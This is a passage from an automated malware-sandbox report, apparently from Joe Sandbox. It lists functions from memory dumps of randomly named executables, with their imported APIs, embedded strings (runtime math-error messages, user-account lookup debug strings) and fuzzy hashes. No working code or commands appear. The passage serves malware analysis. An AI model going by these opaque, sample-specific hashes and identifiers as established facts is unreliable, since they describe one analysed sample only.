Opcode Fuzzy Hash: 2ecc8d21c77ad793d7cdb5c91fca38b749c2df80d8d0a7740a79bdbd090e6c32
Instruction Fuzzy Hash: BF418C53E3C5A682FB34771496403B9D261EF49F64FD50032DD4E1B281DE2CAC8283E2

Function 00007FF77572CCD9 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 83COMMON

Download Yara Rule

APIs

fwprintf.MSVCRT ref: 00007FF77572CD2A

Strings

%*.*s, xrefs: 00007FF77572CD1A
%.*s, xrefs: 00007FF77572CD37
%-*.*s, xrefs: 00007FF77572CD23
%S%S, xrefs: 00007FF77572CCDB

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fwprintf
String ID: %*.*s$%-*.*s$%.*s$%S%S
API String ID: 968622242-2451587232
Opcode ID: 468559d8ff67cbcfa5856c3651045b367068e2c3b874db09ef0e64f953addd24
Instruction ID: 351ef12394222c0953c57f9708c35fb5ead6ef89efb5c8f7f1e74d22d8efe2f8
Opcode Fuzzy Hash: 468559d8ff67cbcfa5856c3651045b367068e2c3b874db09ef0e64f953addd24
Instruction Fuzzy Hash: 7C31C873E3856356E760AF259806678EAA8EF5CFA4F94C131C90D4B684DE2CE40087E0

Function 00007FF77572193C Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 21COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF775721956
DeleteCriticalSection.KERNEL32 ref: 00007FF775721983

Strings

[I] (%s) -> %s, xrefs: 00007FF7757219A2
debug_cleanup, xrefs: 00007FF77572199B
Done, xrefs: 00007FF775721994

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: CriticalDeleteSectionfclose
String ID: Done$[I] (%s) -> %s$debug_cleanup
API String ID: 3387974148-4247581856
Opcode ID: 83038e760c19e10a84288811280327471e0e63595a5ea71a4685ebea14fceab6
Instruction ID: 697987908cabefda84a4c7c15326c854a141ecf141afd65f699db85ed01bc13e
Opcode Fuzzy Hash: 83038e760c19e10a84288811280327471e0e63595a5ea71a4685ebea14fceab6
Instruction Fuzzy Hash: A4F01762A3A6C384FA04BB50E8AA374A370BF48F24FC40035C40E162A0CF7D6449C3F0

Function 00007FF77572A96B Relevance: 7.2, APIs: 1, Strings: 3, Instructions: 165memoryCOMMON

Download Yara Rule

APIs

VirtualProtect.KERNEL32(?,?,00007FF77573A1E8,00000000,?,?,?,00007FF77573A1E0,00007FF775721208,?,?,?,00007FF775721313), ref: 00007FF77572ABC2

Strings

Unknown pseudo relocation bit size %d., xrefs: 00007FF77572AAEB
Unknown pseudo relocation protocol version %d., xrefs: 00007FF77572AA62
%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p., xrefs: 00007FF77572AB5D

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: ProtectVirtual
String ID: Unknown pseudo relocation bit size %d.$ Unknown pseudo relocation protocol version %d.$%d bit pseudo relocation at %p out of range, targeting %p, yielding the value %p.
API String ID: 544645111-1286557213
Opcode ID: a66f9ddc854b527654f3001909f1cb736110354a96681d0a13771c5c9f7ebb02
Instruction ID: ef4cd855466ddcf6c4c691b4fe164d9ef02ef7c3fe27b5a7db0e09459e1c8f33
Opcode Fuzzy Hash: a66f9ddc854b527654f3001909f1cb736110354a96681d0a13771c5c9f7ebb02
Instruction Fuzzy Hash: B2618C63B386928AEA20AB15D9406B8A3B1EF48FB4F848135C91D437D5DE7CE581C7A0

Function 00007FF7757219C0 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 18COMMON

Download Yara Rule

APIs

GetModuleHandleExA.KERNEL32 ref: 00007FF7757219DE
GetLastError.KERNEL32 ref: 00007FF7757219FB

Strings

[E] (%s) -> GetModuleHandleExA failed(gle=%lu), xrefs: 00007FF775721A0B
module_current, xrefs: 00007FF775721A04

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: ErrorHandleLastModule
String ID: [E] (%s) -> GetModuleHandleExA failed(gle=%lu)$module_current
API String ID: 4242514867-2427012484
Opcode ID: 19e446ec0c41354afb0a0de50050c7868acf40ae54805d932c69ebf6a90a09b1
Instruction ID: beab35126b9528e9d126fa931a77d591137eaa849a34b698c7561e1a6b4cbcb0
Opcode Fuzzy Hash: 19e446ec0c41354afb0a0de50050c7868acf40ae54805d932c69ebf6a90a09b1
Instruction Fuzzy Hash: C9F03022A3C68280E720AB54E844369B770FB4CBA8FC40136C58D026B4CE2CD148C7F0

Function 00007FF775730150 Relevance: 6.1, APIs: 4, Instructions: 78COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32 ref: 00007FF7757301CB
IsDBCSLeadByteEx.KERNEL32 ref: 00007FF7757301E6
MultiByteToWideChar.KERNEL32 ref: 00007FF77573023A
_errno.MSVCRT ref: 00007FF775730244

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: Byte$CharMultiWide$Lead_errno
String ID:
API String ID: 2766522060-0
Opcode ID: b7e47614b01a7040d6e60f2510ffabcfe71ed503a462e64265e5097d757dc550
Instruction ID: ae98669a58edcd988164d7371f99cd5e312a66dfa5fadf508caeb8d7cda6edc4
Opcode Fuzzy Hash: b7e47614b01a7040d6e60f2510ffabcfe71ed503a462e64265e5097d757dc550
Instruction Fuzzy Hash: 6E31D573A3C2C58AF7705F21D440B69E690AB89FA9F844135DA8C437C5CB7CE4458760

Function 00007FF77572AC27 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 77COMMON

Download Yara Rule

APIs

signal.MSVCRT ref: 00007FF77572ACE6
signal.MSVCRT ref: 00007FF77572ACFB

Strings

CCG , xrefs: 00007FF77572AC46

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: signal
String ID: CCG
API String ID: 1946981877-1584390748
Opcode ID: e05e11b7b03da478cb3eff391acbc219d4d7163988d74bb8d834af9c7e0f8f44
Instruction ID: f48b6fe23f580bfc2e1a01c0d024f70e67cf3f4e7c00bce58b7427a3bdde2eb0
Opcode Fuzzy Hash: e05e11b7b03da478cb3eff391acbc219d4d7163988d74bb8d834af9c7e0f8f44
Instruction Fuzzy Hash: 61218B23E3D55287FE787314844137892A1DF4CF31FA98936C90E823E6DE9CA8C552A1

Function 00007FF77572A6D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 36COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF77572A78A

Strings

Unknown error, xrefs: 00007FF77572A6E7
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF77572A77D

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fprintf
String ID: Unknown error$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-3474627141
Opcode ID: eb184aebe725f6c31738ef2dd5e8f3b42b676bc68a3f698a16aca6e6f7ce1523
Instruction ID: 990a24ab845863bc8f78dff7be9a9ddd3a989a139d2594c5f8fe17280ea376b6
Opcode Fuzzy Hash: eb184aebe725f6c31738ef2dd5e8f3b42b676bc68a3f698a16aca6e6f7ce1523
Instruction Fuzzy Hash: 50117363818EC482D6119F1CE0413EAB370FF9E759F515326EBC816624DF39D1528740

Function 00007FF77572A707 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF77572A78A

Strings

Argument domain error (DOMAIN), xrefs: 00007FF77572A707
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF77572A77D

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fprintf
String ID: Argument domain error (DOMAIN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2713391170
Opcode ID: 0898788bb1916c83e4039a5ab0167b2e3a86215b5e3d392d65df68120d82ac9e
Instruction ID: 5786aa947d8f2ac02bfbd52b8ce890290e26d63df6a8d11b14e8eb5fdc798935
Opcode Fuzzy Hash: 0898788bb1916c83e4039a5ab0167b2e3a86215b5e3d392d65df68120d82ac9e
Instruction Fuzzy Hash: A0F01D67828F8482D2119F18E4002ABB370FF9EB99F615326EBC926664DF3DD5468750

Function 00007FF77572A710 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF77572A78A

Strings

Overflow range error (OVERFLOW), xrefs: 00007FF77572A710
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF77572A77D

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fprintf
String ID: Overflow range error (OVERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4064033741
Opcode ID: 61c76801d709749aa9f8a6a9a4260049e065b685215aedcdc6761c85533db195
Instruction ID: 3767dc32db609e354cea5fbd7401e4a6dddbc083bf2096975ada48ac7bc0c30a
Opcode Fuzzy Hash: 61c76801d709749aa9f8a6a9a4260049e065b685215aedcdc6761c85533db195
Instruction Fuzzy Hash: 92F01D67828F8482D2119F18E4002ABB370FF9EB99F615326EBC92A624DF3DD5428750

Function 00007FF77572A719 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF77572A78A

Strings

_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF77572A77D
Partial loss of significance (PLOSS), xrefs: 00007FF77572A719

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fprintf
String ID: Partial loss of significance (PLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4283191376
Opcode ID: bfc60d37ca9a6988f5593f672af36c5057a585c8f9be36fa9b4a9f9ad44e5480
Instruction ID: bb807f699c65c2c6ec0e1fb34995d23f89f8c70e016855d0de163698ca7b4c78
Opcode Fuzzy Hash: bfc60d37ca9a6988f5593f672af36c5057a585c8f9be36fa9b4a9f9ad44e5480
Instruction Fuzzy Hash: 82F01D67828F8482D2119F18E4006ABB370FF9EB99F615326EBC926624DF3DD5428750

Function 00007FF77572A722 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF77572A78A

Strings

Total loss of significance (TLOSS), xrefs: 00007FF77572A722
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF77572A77D

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fprintf
String ID: Total loss of significance (TLOSS)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-4273532761
Opcode ID: 13a3b1830272570e6661193a87d44eff3ce7335499efeae423e896c0a233d03e
Instruction ID: fcfabef0832a21fea39cc7cba06a8b4b4705278e56edb2a1ae453d785334a49b
Opcode Fuzzy Hash: 13a3b1830272570e6661193a87d44eff3ce7335499efeae423e896c0a233d03e
Instruction Fuzzy Hash: C8F01D67828F8482D2119F18E4006ABB370FF9EB99F615326EBC926664DF3DD5428750

Function 00007FF77572A72B Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 25COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF77572A78A

Strings

The result is too small to be represented (UNDERFLOW), xrefs: 00007FF77572A72B
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF77572A77D

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fprintf
String ID: The result is too small to be represented (UNDERFLOW)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2187435201
Opcode ID: a62f7440f3da8faac09ae7ec79a5f8cc0f8ffb060ae32dd71dd6362f98a5d4bc
Instruction ID: 083c6f7f693b2c92a7f309027c8ac42e96b6d665bdb8904da7c874df465d9357
Opcode Fuzzy Hash: a62f7440f3da8faac09ae7ec79a5f8cc0f8ffb060ae32dd71dd6362f98a5d4bc
Instruction Fuzzy Hash: 5BF01D67828F8482D2119F18E4406ABB370FF9EB99F615326EBC926624DF3DD5428750

Function 00007FF77572A734 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 24COMMON

Download Yara Rule

APIs

fprintf.MSVCRT ref: 00007FF77572A78A

Strings

Argument singularity (SIGN), xrefs: 00007FF77572A734
_matherr(): %s in %s(%g, %g) (retval=%g), xrefs: 00007FF77572A77D

Memory Dump Source

Source File: 00000006.00000002.2059824023.00007FF775721000.00000020.00000001.01000000.00000004.sdmp, Offset: 00007FF775720000, based on PE: true

Associated: 00000006.00000002.2059807489.00007FF775720000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059845940.00007FF775731000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059860560.00007FF775732000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059876720.00007FF77573A000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059889536.00007FF77573C000.00000008.00000001.01000000.00000004.sdmpDownload File
Associated: 00000006.00000002.2059905414.00007FF77573F000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_7ff775720000_vc71izwl68ub3txurufnpr09g6ni3.jbxd

Similarity

API ID: fprintf
String ID: Argument singularity (SIGN)$_matherr(): %s in %s(%g, %g) (retval=%g)
API String ID: 383729395-2468659920
Opcode ID: 1e66a750eef62416fe29ac226196076c421e718d702112074ece5bc511332d35
Instruction ID: dc1d5e0b55c30f8e1c037d66bfc6e554932b3ae9ad0cafa636961c66b32f41a3
Opcode Fuzzy Hash: 1e66a750eef62416fe29ac226196076c421e718d702112074ece5bc511332d35
Instruction Fuzzy Hash: E2F01D67828FC482D2119F18E4002ABB370FF9E799F605326EFC826624DF2DD5428740

Analysis Process: shdpeqdz2a54sj46ur0.exePID: 7088, Parent PID: 5660COMMON

Executed Functions

Function 00007FF76A3712FD Relevance: .0, Instructions: 4COMMON

Download Yara Rule

Memory Dump Source

Source File: 0000000B.00000002.2510911859.00007FF76A371000.00000020.00000001.01000000.00000007.sdmp, Offset: 00007FF76A370000, based on PE: true

Associated: 0000000B.00000002.2510842906.00007FF76A370000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2510930956.00007FF76A380000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2510930956.00007FF76A97C000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2510930956.00007FF76A97E000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2511540643.00007FF76AD95000.00000002.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2511558001.00007FF76AD9D000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2511558001.00007FF76AD9F000.00000004.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2511586995.00007FF76ADA0000.00000008.00000001.01000000.00000007.sdmpDownload File
Associated: 0000000B.00000002.2511601490.00007FF76ADA3000.00000002.00000001.01000000.00000007.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_7ff76a370000_shdpeqdz2a54sj46ur0.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d92b2e36e32e242d3d26627d8420fc34f18325cbf1fffa5b1655a556a0966707
Instruction ID: ee581a889b3e6210b16c4758912f925931202506863737649525a0b0ba7d6d92
Opcode Fuzzy Hash: d92b2e36e32e242d3d26627d8420fc34f18325cbf1fffa5b1655a556a0966707
Instruction Fuzzy Hash: 6DB09232A08641C4F2003F0298412586620AB09700F820071C40C07366CA6C94414730

Analysis Process: main.exePID: 6524, Parent PID: 632COMMON

Execution Graph

Execution Coverage:	6.3%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	3.2%
Total number of Nodes:	2000
Total number of Limit Nodes:	35

Executed Functions

Function 00007FF8B91538C3 Relevance: 54.6, APIs: 23, Strings: 8, Instructions: 332
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF8B9151292: fwrite.MSVCRT ref: 00007FF8B915133E
Part of subcall function 00007FF8B9151292: fflush.MSVCRT ref: 00007FF8B915134A

LocalAlloc.KERNEL32 ref: 00007FF8B91538F8
wcsncpy.MSVCRT ref: 00007FF8B9153926
LookupAccountNameW.ADVAPI32 ref: 00007FF8B9153983
GetLastError.KERNEL32 ref: 00007FF8B9153995
GetLastError.KERNEL32 ref: 00007FF8B91539DE
LocalAlloc.KERNEL32 ref: 00007FF8B9153A0D
LookupAccountNameW.ADVAPI32 ref: 00007FF8B9153A49
LocalFree.KERNEL32 ref: 00007FF8B9153A56
GetLastError.KERNEL32 ref: 00007FF8B9153A61

Part of subcall function 00007FF8B9151292: EnterCriticalSection.KERNEL32 ref: 00007FF8B9151363
Part of subcall function 00007FF8B9151292: LeaveCriticalSection.KERNEL32 ref: 00007FF8B915138B
Part of subcall function 00007FF8B9151292: CopyFileA.KERNEL32 ref: 00007FF8B91513E8

GetProcessHeap.KERNEL32 ref: 00007FF8B9153D48
HeapAlloc.KERNEL32 ref: 00007FF8B9153D59

Strings

sid_to_str, xrefs: 00007FF8B9153BDE
D, xrefs: 00007FF8B9153915
mem_alloc, xrefs: 00007FF8B91538C6, 00007FF8B9153D6F
[E] (%s) -> ConvertSidToStringSid failed(gle=%lu), xrefs: 00007FF8B9153BE5
[D] (%s) -> User found(name=%s,s_sid=%s,acct_expires=%x,last_logon=%x), xrefs: 00007FF8B9153BC4
users_sync, xrefs: 00007FF8B91539A0, 00007FF8B91539EC, 00007FF8B9153A6C, 00007FF8B9153BBD
[E] (%s) -> LookupAccountNameW failed(gle=%lu), xrefs: 00007FF8B91539A7, 00007FF8B91539F3, 00007FF8B9153A73
[E] (%s) -> Memory allocation failed(size=%llu), xrefs: 00007FF8B91538CD, 00007FF8B9153D76

Memory Dump Source

Source File: 00000016.00000002.3158112398.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.3158091881.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158135563.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158157688.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158178663.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.3158210121.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: AllocErrorLastLocal$AccountCriticalHeapLookupNameSection$CopyEnterFileFreeLeaveProcessfflushfwritewcsncpy
String ID: D$[D] (%s) -> User found(name=%s,s_sid=%s,acct_expires=%x,last_logon=%x)$[E] (%s) -> ConvertSidToStringSid failed(gle=%lu)$[E] (%s) -> LookupAccountNameW failed(gle=%lu)$[E] (%s) -> Memory allocation failed(size=%llu)$mem_alloc$sid_to_str$users_sync
API String ID: 3624467404-104752423
Opcode ID: 2c065d011c9ab7030f9672b503886fd27cb0c5ffb7622794d5e0c854782d74c2
Instruction ID: f97704ef0d59d11db3e2192d24c36f60657465927338c1e70d9870f31ebe3acd
Opcode Fuzzy Hash: 2c065d011c9ab7030f9672b503886fd27cb0c5ffb7622794d5e0c854782d74c2
Instruction Fuzzy Hash: 26F15762A08A82C7EB608F1CE45437963A1EB85BD4F564036DB4E87398DF3DF846E741

